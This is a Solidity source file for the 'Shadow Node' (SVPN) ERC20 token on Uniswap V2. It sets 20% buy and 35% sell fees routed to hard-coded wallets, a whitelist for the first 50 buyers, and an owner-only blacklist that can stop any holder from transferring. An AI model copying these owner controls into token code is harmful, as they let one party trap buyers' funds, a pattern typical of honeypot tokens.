// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.10;
 
/* Abstract Contracts */
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
abstract contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor() {
        _transferOwnership(_msgSender());
    }
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
 
/* Library Definitions */
 
library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
 
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
 
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
 
/* Interface Definitions */
 
 
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );
 
    function feeTo() external view returns (address);
 
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
 
    function allPairs(uint256) external view returns (address pair);
 
    function allPairsLength() external view returns (uint256);
 
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
 
    function setFeeTo(address) external;
 
    function setFeeToSetter(address) external;
}
 
interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    function name() external pure returns (string memory);
 
    function symbol() external pure returns (string memory);
 
    function decimals() external pure returns (uint8);
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address owner) external view returns (uint256);
 
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
 
    function approve(address spender, uint256 value) external returns (bool);
 
    function transfer(address to, uint256 value) external returns (bool);
 
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
 
    function DOMAIN_SEPARATOR() external view returns (bytes32);
 
    function PERMIT_TYPEHASH() external pure returns (bytes32);
 
    function nonces(address owner) external view returns (uint256);
 
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
 
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
 
    function MINIMUM_LIQUIDITY() external pure returns (uint256);
 
    function factory() external view returns (address);
 
    function token0() external view returns (address);
 
    function token1() external view returns (address);
 
    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
 
    function price0CumulativeLast() external view returns (uint256);
 
    function price1CumulativeLast() external view returns (uint256);
 
    function kLast() external view returns (uint256);
 
    function mint(address to) external returns (uint256 liquidity);
 
    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);
 
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;
 
    function skim(address to) external;
 
    function sync() external;
 
    function initialize(address, address) external;
}
 
interface IUniswapV2Router02 {
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
 
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
 
interface IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
 
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
contract ERC20 is Context, IERC20 {
    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
 
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
 
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
 
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
 
        return true;
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
 
        return true;
    }
 
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
 
        _beforeTokenTransfer(address(0), account, amount);
 
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
 
        _afterTokenTransfer(address(0), account, amount);
    }
 
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
 
        _beforeTokenTransfer(account, address(0), amount);
 
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
 
        emit Transfer(account, address(0), amount);
 
        _afterTokenTransfer(account, address(0), amount);
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
 
        _beforeTokenTransfer(sender, recipient, amount);
 
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
 
        emit Transfer(sender, recipient, amount);
 
        _afterTokenTransfer(sender, recipient, amount);
    }
 
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
 
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
 
contract sVPN is ERC20, Ownable {
    using SafeMath for uint256;
 
    IUniswapV2Router02 public immutable uniswapRouter;
    address public uniswapPair;
 
    address public mw;
    address public dw;
 
    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public limitsInEffect = true;
 
    uint256 public maximumTransactionAmt;
    uint256 public taxSwapThreshold;
    uint256 public maximumWalletAmt;
 
    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyDevFee;
 
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellDevFee;
 
    uint256 public tokensForMarket;
    uint256 public tokensForDev;
   uint256 public constant MAX_INITIAL_BUYERS = 50;
    uint256 private numBuyers = 0;
    mapping(address => bool) public whitelist;
    bool private swapping;
 
    mapping(address => bool) private isBlackList;
    mapping(address => bool) public isExcludedFromFees;
    mapping(address => bool) public isExcludemaximumTransactionAmt;
 
    mapping(address => bool) public ammPairs;
 
    constructor() ERC20("Shadow Node", "SVPN") {
        uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
 
        mw = address(0x583e7e0aF2B43666c4E17859e7193A27Cd0B4467);
        dw = address(0x15Ed9fAEAEFCaFC31681118A75664349F6798aCF);
 
        isExcludemaximumTransactionAmt[address(uniswapRouter)] = true;
        isExcludemaximumTransactionAmt[address(uniswapPair)] = true;
        isExcludemaximumTransactionAmt[owner()] = true;
        isExcludemaximumTransactionAmt[address(this)] = true;
        isExcludemaximumTransactionAmt[address(0xdead)] = true;
 
        isExcludedFromFees[owner()] = true;
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[address(0xdead)] = true;
 
        ammPairs[address(uniswapPair)] = true;
 
        uint256 totalSupply = 1_000_000_000 * 1e18;
        taxSwapThreshold = (totalSupply * 5) / 50000; // 0.01% swap wallet
 
        maximumTransactionAmt = 20_000_000 * 1e18; // 2% from total supply maximumTransactionAmtTxn
        maximumWalletAmt = 20_000_000 * 1e18; // 2% from total supply maximumWalletAmt
 
        buyMarketingFee = 0;
        buyDevFee = 20;
        buyTotalFees = buyMarketingFee + buyDevFee;
 
        sellMarketingFee = 0;
        sellDevFee = 35;
        sellTotalFees = sellMarketingFee + sellDevFee;
 
        _mint(msg.sender, totalSupply);
    }
 
    receive() external payable {}
 
  function openTrading() external onlyOwner() {
        require(!tradingActive,"trading is already open");
        _approve(address(this), address(uniswapRouter), totalSupply());
        uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapPair).approve(address(uniswapRouter), type(uint).max);
        swapEnabled = true;
        tradingActive = true;
    }
 
    function excludeFrommaximumTransactionAmt(address addr, bool value) external onlyOwner {
        isExcludemaximumTransactionAmt[addr] = value;
    }
 
    function excludeFromFees(address account, bool value) external onlyOwner {
        isExcludedFromFees[account] = value;
    }
 
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }
 
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }
 
    function updatemaximumWalletAmt(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maximumWalletAmt lower than 0.5%");
        maximumWalletAmt = newNum * (10**18);
    }
 
    function updatetaxSwapThreshold(uint256 newAmount) external onlyOwner returns (bool) {
        require(newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply.");
        taxSwapThreshold = newAmount;
        return true;
    }
 
    function updatemaximumTransactionAmt(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maximumTransactionAmt lower than 0.1%");
        maximumTransactionAmt = newNum * (10**18);
    }
 
    function updateBuyFees(uint256 newMarketFee, uint256 newDevFee) external onlyOwner {
        buyMarketingFee = newMarketFee;
        buyDevFee = newDevFee;
        buyTotalFees = buyMarketingFee + buyDevFee;
        require(buyTotalFees <= 35, "Must keep fees at 35% or less");
    }
 
    function updateSellFees(uint256 newMarketFee, uint256 newDevFee) external onlyOwner {
        sellMarketingFee = newMarketFee;
        sellDevFee = newDevFee;
        sellTotalFees = sellMarketingFee + sellDevFee;
        require(sellTotalFees <= 35, "Must keep fees at 35% or less");
    }
 
   function addToWhitelist(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            whitelist[addresses[i]] = true;
        }
    }
    function setAMMPair(address pair, bool value) external onlyOwner {
        require(pair != uniswapPair, "The pair cannot be removed from ammPairs");
        ammPairs[pair] = value;
    }
 
    function setBlackList(address addr, bool enable) external onlyOwner {
        isBlackList[addr] = enable;
    }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForMarket + tokensForDev;
        bool success;
 
        if (contractBalance == 0 || totalTokensToSwap == 0)
            return;
 
        if (contractBalance > taxSwapThreshold * 20)
            contractBalance = taxSwapThreshold * 20;
 
        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(contractBalance);
 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
 
        tokensForMarket = 0;
        tokensForDev = 0;
 
        (success, ) = address(dw).call{value: ethForDev}("");
        (success, ) = address(mw).call{ value: address(this).balance }("");
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
 
        _approve(address(this), address(uniswapRouter), tokenAmount);
 
        // make the swap
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
 
    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!isBlackList[from], "[from] black list");
        require(!isBlackList[to], "[to] black list");
 
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
 
        if (limitsInEffect) {
            if (from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping) {
                if (!tradingActive) {
                    require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active.");
                }
 
                //when buy
                if (ammPairs[from] && !isExcludemaximumTransactionAmt[to]) {
                    require(amount <= maximumTransactionAmt, "Buy transfer amount exceeds the maximumTransactionAmt.");
                    require(amount + balanceOf(to) <= maximumWalletAmt, "Max wallet exceeded");
                    if(numBuyers < MAX_INITIAL_BUYERS) {
                       require(whitelist[to], "Address not whitelisted for initial buys");
                      numBuyers++;
                    }
                }
                //when sell
                else if (ammPairs[to] && !isExcludemaximumTransactionAmt[from]) {
                    require(amount <= maximumTransactionAmt, "Sell transfer amount exceeds the maximumTransactionAmt.");
                    
                }
                else if (!isExcludemaximumTransactionAmt[to]) {
                    require(amount + balanceOf(to) <= maximumWalletAmt, "Max wallet exceeded");
                }
            }
        }
 
 
        uint256 contractBalance = balanceOf(address(this));
        bool canSwap = contractBalance >= taxSwapThreshold;
        if (canSwap &&
            swapEnabled &&
            !swapping &&
            !ammPairs[from] &&
            !isExcludedFromFees[from] &&
            !isExcludedFromFees[to]) {
 
            swapping = true;
            swapBack();
            swapping = false;
        }
 
        bool takeFee = !swapping;
        if (isExcludedFromFees[from] || isExcludedFromFees[to])
            takeFee = false;
 
        uint256 fee = 0;
        if (takeFee) {
            // on sell
            if (ammPairs[to] && sellTotalFees > 0) {
                fee = amount.mul(sellTotalFees).div(100);
                tokensForDev += (fee * sellDevFee) / sellTotalFees;
                tokensForMarket += (fee * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (ammPairs[from] && buyTotalFees > 0) {
                fee = amount.mul(buyTotalFees).div(100);
                tokensForDev += (fee * buyDevFee) / buyTotalFees;
                tokensForMarket += (fee * buyMarketingFee) / buyTotalFees;
            }
 
            if (fee > 0)
                super._transfer(from, address(this), fee);
 
            amount -= fee;
        }
 
        super._transfer(from, to, amount);
    }
 
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
}